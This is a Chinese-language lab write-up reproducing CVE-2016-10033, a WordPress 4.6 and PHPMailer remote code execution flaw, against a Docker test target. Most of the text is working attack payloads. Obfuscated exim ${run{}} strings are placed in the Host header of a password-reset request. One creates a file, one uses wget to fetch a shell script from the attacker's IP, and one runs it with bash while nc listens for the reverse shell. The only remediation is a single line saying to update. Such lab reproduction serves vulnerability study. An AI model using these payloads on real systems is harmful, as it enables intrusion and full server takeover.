WordPress 4.6远程执行代码漏洞(漏洞复现)
漏洞编码:
CVE-2016-10033
漏洞简述:
WordPress 4.6 版本远程代码执行漏洞是一个非常严重的漏洞,未经授权的攻击者利用该漏洞就能实现远程代码执行,针对目标服务器实现即时访问,最终导致目标应用服务器的完全陷落。远程攻击者可以利用该漏洞执行代码。
漏洞版本:
WordPress <= 4.6.0
PHPMailer < 5.2.18
漏洞原理:
主要是phpmailer组件调用linux系统命令sendmail进行邮件发送,通过传入的SERVER_NAME获取主机名(即请求host值),而SERVER_NAME没有经过任何过滤,从而产生漏洞,而exim4替代了sendmail的功能,即可以利用substr,run函数等进入绕过,构造payload。
环境搭建:
攻击机IP:192.168.35.128
靶机IP: 192.168.35.143
靶机启动环境
docker-compose build
docker-compose up -d
进入页面 http://192.168.35.143:8080/wp-login.php
在找回密码的页面进行抓包
我们需要满足以下要求才能利用此漏洞
- 执行的命令不能包含一些特殊的字符,例如:,’,"等。
- 该命令将转换为小写字母
- 该命令需要使用绝对路径
- 需要知道一个现有的用户名
构造payload进行测试
主要是利用对空格和“/”进行以下转换
空格 ==> {substr{10}{1}{tod_log}}
/ ==> {substr{0}{1}{spool_directory}}
初始构造的payload(该payload的作用是在/tmp/下创建success的文件夹)
target(any -froot@localhost -be ${run{/bin/touch /tmp/success}} null)
转换之后的payload
target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
修改抓包中的Host:构造的payload,
去靶机环境查看,确实创建了success的文件。
因此可以利用curl和wget远程下载文件,然后执行getshell
构造payload进行远程文件下载
构造初始的payload
target(any -froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/rce 192.168.35.128/shell.txt}} null)
转换之后的payload
target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce${substr{10}{1}{$tod_log}}192.168.35.128${substr{0}{1}{$spool_directory}}shell.txt}} null)
在靶机环境查看,已经远程下载了rce的文件。
上传shell之后,只需执行即可
构造执行shell.txt的payload
target(any -froot@localhost -be ${run{/bin/bash /tmp/rce}} null)
转换之后为
target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce}} null)
同时在kali开启监听
nc -vlp 4444
发送执行命令的payload
发现kali已经连接webshell
漏洞修复:
更新wordpress,phpmailer到最新的版本。
ps:一人一个屁~~~
参考链接
https://vulhub.org/#/environments/wordpress/pwnscriptum/
https://github.com/opsxcq/exploit-CVE-2016-10033
https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html